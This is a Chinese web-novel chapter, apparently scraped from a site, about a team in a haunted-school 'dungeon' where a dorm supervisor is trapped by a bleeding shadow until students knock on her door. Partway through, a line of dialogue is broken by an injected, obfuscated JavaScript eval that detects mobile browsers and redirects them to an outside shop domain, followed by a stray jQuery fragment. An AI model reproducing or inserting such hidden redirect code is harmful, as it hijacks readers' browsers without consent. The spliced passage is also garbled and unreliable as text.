姜照蕴正准备和中午一样,去食堂随机挑一个出入口蹲队友,但她收到了陶艾欣的消息。
陶艾欣是被卷入副本的普通人,是她们小队的首要保护目标。姜照蕴赶紧查看,发现陶艾欣在大群里说她被关在宿舍里出不来了。
看上去暂时没有危险,但姜照蕴不敢耽搁,在大群里发了句安抚让她保持冷静,就赶忙赶去了她所在的宿舍楼。
副本现在大概是夏初,晚饭时间天还没黑,学校里从教学楼到食堂的路上到处都是学生。陶艾欣所在的宿舍楼刚好在这条线上,所以这会儿正是人气最旺的时候。
姜照蕴混在人流里,耳朵里全是学生们叽叽喳喳的声音。她突然发现了一件事,虽然大部分学生是朝着食堂走的,但也有少部分在出入宿舍楼,而这少部分基本都拎着热水瓶。
就在姜照蕴刚走到宿舍楼下大门的时候,迎面而来一个冲锋的女生,差点把她给撞了个趔趄。
可能因为姜照蕴是年轻老师,女生一时间没能认出她的身份,匆忙撂下一句对不起,就风一样地卷走了。姜照蕴只来得及在女生走过拐角前看见她手里拎着个镂空的塑料篮子,里面装的是……洗浴用品?
姜照蕴回想了一下费云飞之前发在群里的学校地图,发现里面确实有一栋名叫澡堂的建筑。
所以……难道……
整座学校的学生共用一个公共澡堂??
洗得过来吗?
姜照蕴已经被这所学校前赴后继扑面而来的奇葩事给整得没脾气了,决定暂时把这事抛诸脑后。
陶艾欣负责的是这座宿舍楼的下三层,办公室——也兼她本人的宿舍——在一楼靠大门处,因此非常好找。
但当姜照蕴走过去的时候,发现陶艾欣的门竟然是开着的。
窄窄小小的一个房间,放着一张学生同款上下床,下床铺着被褥,上床放着杂物,另有一个破破烂烂的柜子和一副和姜照蕴办公室同款的“九手”桌椅。桌脚边挤挤挨挨地放着一大堆五颜六色的热水瓶。
而陶艾欣本人正坐在床上发呆。
姜照蕴一颗心重重地放了下来,张口道:“你不是说被锁了吗?”
陶艾欣这才发现门口的姜照蕴,懵懵道:“哦,学生敲我的门,然后门就开了。”
姜照蕴:???
陶艾欣似乎是受了什么惊吓,反应比平时慢了不少,说话也有一点颠三倒四。姜照蕴努力从她前言不搭后语的叙述中拼出事情的前后经过。
*
陶艾欣是一个留学归国人士,目前在一家大厂做朝十晚十——有时是十一或十二——的算法工程师,正准备经历三十五岁中年危机,平时被傻【哗——】上司和同事折磨得一天到晚思考什么时候世界末日。不料世界末日没来,自己先遭了超自然事件,被卷进了副本。
然后陶艾欣就深刻地意识到,尽管生活十分【哗——】,但好死不如赖活着。她的求生意志前所未有地强烈了起来。
事情要从她作为宿管,下午和同事们一起对各个学生宿舍进行例行检查开始说起。
陶艾欣觉得这种行为写作检查,读作抄家。
一间最多十几平的宿舍装了十个学生就先不说了,每个学生的私人储物空间就只有最多两三个书包大小的小柜子也不说了,就这么丁点大的柜子,居然是不许锁的。
而宿管的工作除了检查卫生,就是检查学生的私人物品里里有没有违禁物品。
比如手机、闲书等等。
陶艾欣还问过一个在其他宿管看来很蠢的问题:“不查违章电器吗?”
其他宿管哄堂大笑。陶艾欣这才知道,所有宿舍,除了宿管的房间,都是不通电的。除了电灯。
而一个小柜子显然不可能放得下一个寄宿学生的所有东西,于是上有政策下有对策,每个学生都有一到两个行李箱,平时塞在床底下。
所以完全不用担心床底下是卫生死角,会堆垃圾积灰什么的。地方都让行李箱占了,哪还有留给垃圾的余地?
对,行李箱也是不许上锁的,也在宿管的抄家范围内。
不过宿管们显然也对这种学校规定的抄家活动比较腻烦,彼此早就达成了共识,开柜子开箱子走个形式就行了,没必要非给学生的东西翻个底朝天。
例行抄家过后,其他宿管们聚众打麻将去了,陶艾欣不会打麻将,于是就独自一人回到了她的宿舍。
副本里的时代虽然互联网还没有如现实一般如日中天,但已经具备了不少功能。陶艾欣一个人待在宿舍没事做,就玩起了手机。
玩着玩着,周围环境就逐渐暗了下来。
她一开始以为是天黑了,准备起身去开灯,眼睛余光扫到了手机上的时间,发现才五点多钟,根本没到这个季节天黑的时间。
陶艾欣这才后知后觉好像有什么不对。
从宿舍窄小的铁栏窗户往外望去,外面还是正常的景色,但光线在肉眼可见地一点点暗下去。
陶艾欣不敢开灯了,连手机都不敢按亮,就这么僵硬着坐在床上,一动不敢动。
于是宿舍里很快就陷入了一片漆黑。
伸手不见五指里,陶艾欣的耳畔突然响起了一声嘻嘻笑声。
那笑声雌雄莫辨。非常近,近到似乎是趴在她的肩膀上笑的。
但陶艾欣僵硬的肩膀完全感觉不出来是不是有什么东西在她身上。
随后是水滴砸在布料上的声音,啪嗒啪嗒,环绕着陶艾欣,她似乎幻觉那水滴砸下来溅起的小水珠落到了她的手上。
但很快她发现这不是幻觉,她开始清晰地感觉到她的身下、手掌下的被褥被水潮漫了过来,一股铁锈味钻入了她的鼻腔。
陶艾欣僵硬的本能告诉她,这是血的味道。
而这还没有结束。有什么尖尖细细、密密麻麻的东西沿着她的脚,钻进了她的裤腿,爬上了她的身体。一股无可抑制的麻痒感攻占了她的大脑。
陶艾欣终于忍受不了了。她不知道自己有没有发出尖叫,连滚带爬地朝着宿舍门边跑去。
但黑暗中她根本找不到门在哪里。她的胯骨撞到了什么东西,她失去了平衡,摔在了地上。一个沉重的硬物砸上了她的左半边身体。她无用的大脑描摹出了这硬物的形状,是她宿舍里那把陈旧的椅子。
黑暗中不知源于何处的血潮似是有生命一般追上了陶艾欣,攀上了她的腿脚,连带着裤腿也一起黏腻地贴住了她的小腿。
陶艾欣感觉不到被椅子砸了一下的疼痛,高速运转的大脑迅速想起了这间窄小宿舍的布置,并依靠椅子的位置找到了门所在的那面墙。
她觉得她的手是湿的,摸在哪里都打滑。在她摸到门上插销之前,她先摸到了门边不远处的电灯开关。
霎时间,惨白的灯光洒满了房间。
陶艾欣被刺眼的灯光刺激得眯了一下眼,但很快她就瞪大了眼睛。她看见她的整个宿舍都变成了红色,所有的东西,床、柜子、电扇都在潮湿地向下滴血。一片看不出形状的黑影在已经染红大半的墙面上游走。
那声笑声又嘻嘻响起在了她的耳旁。
黑影玩闹一般地绕着她,越靠越近。
陶艾欣的脑子一片空白,唯一能做的事就是用她颤抖的手去开门上的插销。
但不知道是不是她沾满了血的手太过滑腻,插销就像焊死在了门上一样,不论她怎么抓怎么掰都屡屡打滑。
她几次三番打开插销失败,崩溃地拼命拍打着门,一边拍一边喊叫。
而这扇陈旧的门明明已经老得全是裂缝,如今却像是铸铁的一般,无论她怎么拍都纹丝不动。
耳畔的笑声越来越大,越来越高,几乎包围了陶艾欣,让她无处可逃。
就在这时,门被敲响了。
一瞬间,笑声消失了,那种黏腻地感觉也消失了,陶艾欣木然地抬头,发现原本漫遍了她整个宿舍的血色都消失了。
连被她撞到的椅子都好好地站在桌子边。
仿佛刚才的一切都是她的幻觉。
只有左半肩膀处姗姗来迟的疼痛告诉她,那都是真实的。
敲门的人似乎很着急,见门没开,又咚咚地急促敲了几声,一边敲一边喊道:“阿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944629|212471||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姨,阿姨你在吗?我们下课啦,来拿热水瓶。”
陶艾欣不知道自己是怎么打开门的。
门外是三个女生,她们挤在一起,笑嘻嘻地看着陶艾欣。
陶艾欣让开身子,她们就呼啦啦地进了门,眼疾手快地从桌脚边一堆贴了名字的热水瓶里找到了自己的,拎在手里。一个壮些的女孩子还拎了两个。
女孩子们没注意到陶艾欣苍白的脸色,找到各自的热水瓶后朝她灿然一笑,欢快道:“阿姨再见。”
风风火火地就走了。
陶艾欣这才有了自己活下来了的实感,匆忙掏出手机,通知了那些“副本专业人士”。
*
“所以是那几个女生敲门,把你救出来的?”姜照蕴问道。
“啊,啊……”陶艾欣还有些木呆,“应该是吧。”
“她们为什么会来敲你的门?”
陶艾欣愣了会儿,眼神动了动,道:“我中午查寝的时候,听到有人在和别人借热水,就随口问了她们一句热水不够用吗?”
“所以?”姜照蕴没明白这和她们敲门有什么关系。
“然后她们告诉我,因为开水房只在下午开放,所以她们只能在晚饭期间去打热水。开水房水龙头还少,去晚了就得排队。所以我就让上面几层楼的学生上课前把热水瓶放我这里。我这里离宿舍楼门口近,她们抬脚进来就能拿水瓶去打水,不用再爬楼了。省点时间还能去食堂吃一口饭。”
“省,省点时间?”姜照蕴心里油然而生一股不好的预感,“她们晚自习前有多少时间吃饭?”
话音刚落,又有几个女孩子叽叽喳喳的声音靠近了。
女孩子们从门外探了个头,她们不认识姜照蕴,见陶艾欣没责怪她们,就很不见外地进了门,在原地放下了热水瓶,走之前跟陶艾欣招呼道:“阿姨那我们回去上晚自习啦。谢谢阿姨——”
“半个小时?还是四十分钟?”陶艾欣不确定道,“我不太记得了。”
姜照蕴觉得自己心里有一群羊驼奔腾而过。
她记得从地图上看,澡堂和开水房离这栋宿舍楼起码得四五百米吧?
这是打热水还是负重田径赛?
“那个黑影……”姜照蕴关注着陶艾欣的状态,谨慎地问道,“你还能想起来多少?像人吗?”
陶艾欣的身体突然颤抖了一下,她猛地抓住了姜照蕴的手,惶惶然道:“你是住在教职工宿舍吗?你晚上能不能来陪我?我实在不敢一个人待了。”
姜照蕴想了想,副本里确实能不落单还是不落单的好,于是就答应了,但是……
“我得先去晚自习坐班。”姜照蕴补充道。
没办法,班主任就是这么命苦。
更命苦的是学生。
姜照蕴虽然是从小住校到大的,但她上的一直都是住宿走读双轨制的学校。即使是学习压力最大的高中,也只有高三的时候才是所有学生都需要上晚自习。
什么?高三以前?
高三以前的晚·住校生专属·自习那都是自由时间。只要你老老实实坐在教室里,随你看什么书。姜照蕴曾经还有几个住校同学在晚自习打游戏来着——虽然最后由于太嚣张而被老师取缔了。
陶艾欣泫然欲泣地看着她。
“你要不先去和别的宿管待一起?”姜照蕴提议道。
陶艾欣只能不太情愿地答应了。
“那……黑影?”姜照蕴重又问道。
“可……可能像人?”陶艾欣强迫自己回到那恐怖的回忆里,“不,我不知道。那太可怕了。”
那就是不能确定。姜照蕴思考。但黑影,或者说鬼影的存在是确认了。从保安室保安那里问出来的校园鬼影传说很可能是真的——或者说至少有一部分是真的。
而这个传说流传已久,为何偏偏现在出来作祟?
也许这就是这个副本的主线。
姜照蕴搞明白了事情始末,掏出手机,准备把这件事复述给她的队友们。
没等她组织好语言,费云飞的消息先来了。
严胜失踪了。